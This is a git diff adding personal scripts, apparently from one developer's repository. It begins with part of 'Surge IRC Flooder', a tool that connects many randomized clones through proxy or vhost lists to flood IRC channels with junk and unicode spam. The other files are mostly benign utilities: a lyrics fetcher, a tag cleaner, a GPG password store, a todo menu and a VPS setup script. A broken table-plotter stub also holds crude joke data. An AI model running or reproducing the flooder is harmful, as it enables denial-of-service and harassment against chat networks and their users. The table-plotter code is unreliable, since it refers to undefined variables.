'\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄') + else: + message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20))) + return message + + def raw(self, msg): + self.sock.send(bytes(msg + '\r\n', 'utf-8')) + + def register(self): + if config.connection.password: + self.raw('PASS ' + config.connection.password) + self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8)))) + self.nick(self.nickname) + + def sendmsg(self, target, msg): + self.raw(f'PRIVMSG {target} :{msg}') + + def topic(self, chan, text): + self.raw(f'TOPIC {chan} :{text}') + + def unicode(self, msg): + start = 0x1000 + end = 0x3000 + message = '' + for i in range(random.randint(100,150)): + message = message + chr(random.randint(start, end)) + message = message + msg + for i in range(random.randint(100,150)): + message = message + chr(random.randint(start, end)) + + +# Main +print('#'*56) +print('#{0}#'.format(''.center(54))) +print('#{0}#'.format('Surge IRC Flooder'.center(54))) +print('#{0}#'.format('Developed by acidvegas in Python'.center(54))) +print('#{0}#'.format('https://acid.vegas/trollbots'.center(54))) +print('#{0}#'.format(''.center(54))) +print('#'*56) +parser = argparse.ArgumentParser(usage='%(prog)s [options]') +parser.add_argument('input', help='file to scan') +parser.add_argument('-p', '--proxy', help='proxy list', action='store_true') +parser.add_argument('-v', '--vhost', help='vhost list', action='store_true') +pargs = parser.parse_args() +if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost): + error_exit('Invalid arguments.') +if pargs.proxy: + try: + import socks + except ImportError: + error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)') +if not os.path.isfile(pargs.input): + error_exit('No such input file.') +data_lines = [line.strip() for line in open(pargs.input).readlines() if line] +debug(f'Loaded {len(data_lines)} lines from file.') +random.shuffle(data_lines) +for i in range(config.throttle.concurrency): + with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor: + checks = {executor.submit(clone(line).connect): line for line in data_lines} + for future in concurrent.futures.as_completed(checks): + checks[future] +debug('Flooding is complete.') \ No newline at end of file diff --git a/lyrics.py b/lyrics.py new file mode 100644 index 0000000..f8939d7 --- /dev/null +++ b/lyrics.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python +# requires: https://pypi.org/project/lyricsgenius/ +import sys, lyricsgenius +genius = lyricsgenius.Genius('CLIENT ACCESS TOKEN') # http://genius.com/api-clients +genius.verbose = False +song = genius.search_song(sys.argv[2], sys.argv[1]) +print(song.lyrics) if song else print('no lyrics found') \ No newline at end of file diff --git a/mutag b/mutag new file mode 100755 index 0000000..2a7be24 --- /dev/null +++ b/mutag @@ -0,0 +1,12 @@ +#!/bin/sh +# requires: id3v2 python-eyed3 +# this script removes all id3 tags/album art & sets 'artist' to the directory name & 'song' to the file name +find $HOME/music -type f | while read SONG; do + DIR=$(dirname "$SONG") + ARTIST=$(basename "$DIR") + TITLE=$(basename "$SONG" | rev | cut -d"." -f2- | rev) + echo "$DIR | $ARTIST | $TITLE" + eyeD3 --remove-all-images "$SONG" + id3v2 --delete-all "$SONG" + id3v2 --artist "$ARTIST" --song "$TITLE" -2 "$SONG" +done \ No newline at end of file diff --git a/pass b/pass new file mode 100755 index 0000000..2774ba4 --- /dev/null +++ b/pass @@ -0,0 +1,65 @@ +#!/bin/sh +# developed by acidvegas (https://acid.vegas/pass) +# todo: oathtool check for git gpg gpg2 oathtool shred xclip + +GPG_ID="acidvegas" +GPG_OPTS="--quiet --yes --compress-algo=none --no-encrypt-to --batch --use-agent" +PASS_DIR=$HOME/.secrets + +gc() { + git -C $PASS_DIR add -A + git -C $PASS_DIR commit -m "$@" +} + +edit() { + if [ -d /dev/shm ] && [ -w /dev/shm ] && [ -x /dev/shm ]; then + tmp=$(mktemp -u /dev/shm/pw.XXXXXXXXXX) + else + tmp=$(mktemp -u pw.XXXXXXXXXX) + fi + trap "shred -f -z $tmp" EXIT + if [ -f $PASS_DIR/$1.gpg ]; then + gpg2 -d -o $tmp $GPG_OPTS $PASS_DIR/$1.gpg + nano $tmp + if [ ! "$(gpg2 -d $GPG_OPTS $PASS_DIR/$1.gpg)" = "$(cat $tmp)" ]; then + gpg2 -e -r $GPG_ID -o $PASS_DIR/$1.gpg $GPG_OPTS $tmp + gc "modified $1" + fi + else + nano $tmp + if [ -f $tmp ]; then + mkdir -p $(dirname $PASS_DIR/$1) + gpg2 -e -r $GPG_ID -o $PASS_DIR/$1.gpg $GPG_OPTS $tmp + gc "created $1" + fi + fi +} + +otp() { + echo "not done" +} + +show() { + if [ -f $PASS_DIR/$1.gpg ]; then + gpg2 -d $GPG_OPTS $PASS_DIR/$1.gpg + else + echo "error: $1 does not exist" + fi +} + +set -f+x +export GPG_TTY=$(tty) +umask 077 +mkdir -p $PASS_DIR + +if [ "$#" = '2' ]; then + if [ "$1" = "edit" ]; then + edit $2 + elif [ "$1" = "otp" ]; then + otp $2 + fi +elif [ "$#" = '1' ]; then + show $1 +else + tree -C -l --noreport $PASS_DIR | tail -n +2 | sed -E 's/\.gpg(\x1B\[[0-9]+m)?( ->|$)/\1\2/g' +fi \ No newline at end of file diff --git a/tables.py b/tables.py new file mode 100644 index 0000000..8ca6f01 --- /dev/null +++ b/tables.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python +# table plotter - developed by acidvegas in python (https://acid.vegas/random) +# tableplot.py + +data = { + 'number' : ('1','2','3','4','5'), + 'name' : ('mark', 'steven', 'fredrick', 'bronzel', 'billy'), + 'race' : ('simpson', 'WHITE BOI', 'peckerwood', 'bird', 'fartman') +} + +def table(data): + columns = len(data) + for item in data: + max(data[item], key=len) + print('┌' + '─'*amount + '┐') + print('│ ' + title + ' '*amounnt + ' │ ') + print('├───────────┼────────────────┼───────┤') + + print('└───────────┴────────────────┴───────┘') \ No newline at end of file diff --git a/todo b/todo new file mode 100755 index 0000000..55eff3c --- /dev/null +++ b/todo @@ -0,0 +1,17 @@ +#!/bin/sh +#todo: custom dmenu args cleaner, cli only mode +db=$HOME/.todo +touch $db +while : +do + cmd=$(dmenu -l 10 -m 0 -fn "Misc Ohsnap.Icons:style=Regular:size=11" -nb "#000000" -nf "#FFFFFF" -sb "#000000" -sf "#00D787" "$@" < "$db") + if [ -z "$cmd" ]; then + break + elif grep -q "^$cmd\$" "$db"; then + grep -v "^$cmd\$" "$db" > "$db.$$" + mv "$db.$$" "$db" + else + echo "$cmd" >> "$db" + fi +done +exit 0 \ No newline at end of file diff --git a/vps.sh b/vps.sh new file mode 100644 index 0000000..761f422 --- /dev/null +++ b/vps.sh @@ -0,0 +1,25 @@ +#!/bin/sh +set -xev +GIT_URL="https://raw.githubusercontent.com/acidvegas/archlinux/master" +passwd root +userdel -r alarm +useradd -m -s /bin/bash acidvegas && gpasswd -a acidvegas wheel && passwd acidvegas +timedatectl set-timezone America/New_York && timedatectl set-ntp true +echo "LANG=en_US.UTF-8" > /etc/locale.conf && echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen +pacman-key --init && pacman-key --populate archlinux +pacman -Syyu +pacman -S gcc make patch pkg-config python python-pip +pacman -S abduco exa git man ncdu sudo tor weechat which +echo "clear && reset" > /etc/bash.bash_logout +echo -e "export VISUAL=nano\nexport EDITOR=nano\nunset HISTFILE\nln /dev/null ~/.bash_history -sf" >> /etc/profile +echo "[[ -f ~/.bashrc ]] && . ~/.bashrc" > /root/.bash_profile +echo -e "[[ $- != *i* ]] && return\nalias diff='diff --color=auto'\nalias grep='grep --color=auto'\nalias ls='ls --color=auto'\nPS1='\e[1;31m> \e[0;33m\w \e[0;37m: '" > /root/.bashrc +source /root/.bashrc +history -c && export HISTFILESIZE=0 && export HISTSIZE=0 && unset HISTFILE +[ -f /root/.bash_history ] && rm /root/.bash_history +wget -O /etc/ssh/sshd_config $GIT_URL/etc/ssh/sshd_config +wget -O /etc/sudoers.d/sudoers.lecture $GIT_URL/etc/sudoers.d/sudoers.lecture +wget -O /etc/topdefaultrc $GIT_URL/etc/topdefaultrc +echo -e "set boldtext\nset markmatch\nset minibar\nset morespace\nset nohelp\nset nonewlines\nset nowrap\nset quickblank\nset tabsize 4\nunbind ^J main\ninclude \"/usr/share/nano/*.nanorc\"" > /etc/nanorc +echo -e "Defaults lecture = always\nDefaults lecture_file = /etc/sudoers.d/sudoers.lecture\nroot ALL=(ALL) ALL\n%wheel ALL=(ALL) ALL" > /etc/sudoers +echo -e "[Journal]\nStorage=volatile\nSplitMode=none\nRuntimeMaxUse=500K" > /etc/systemd/journald.conf \ No newline at end of file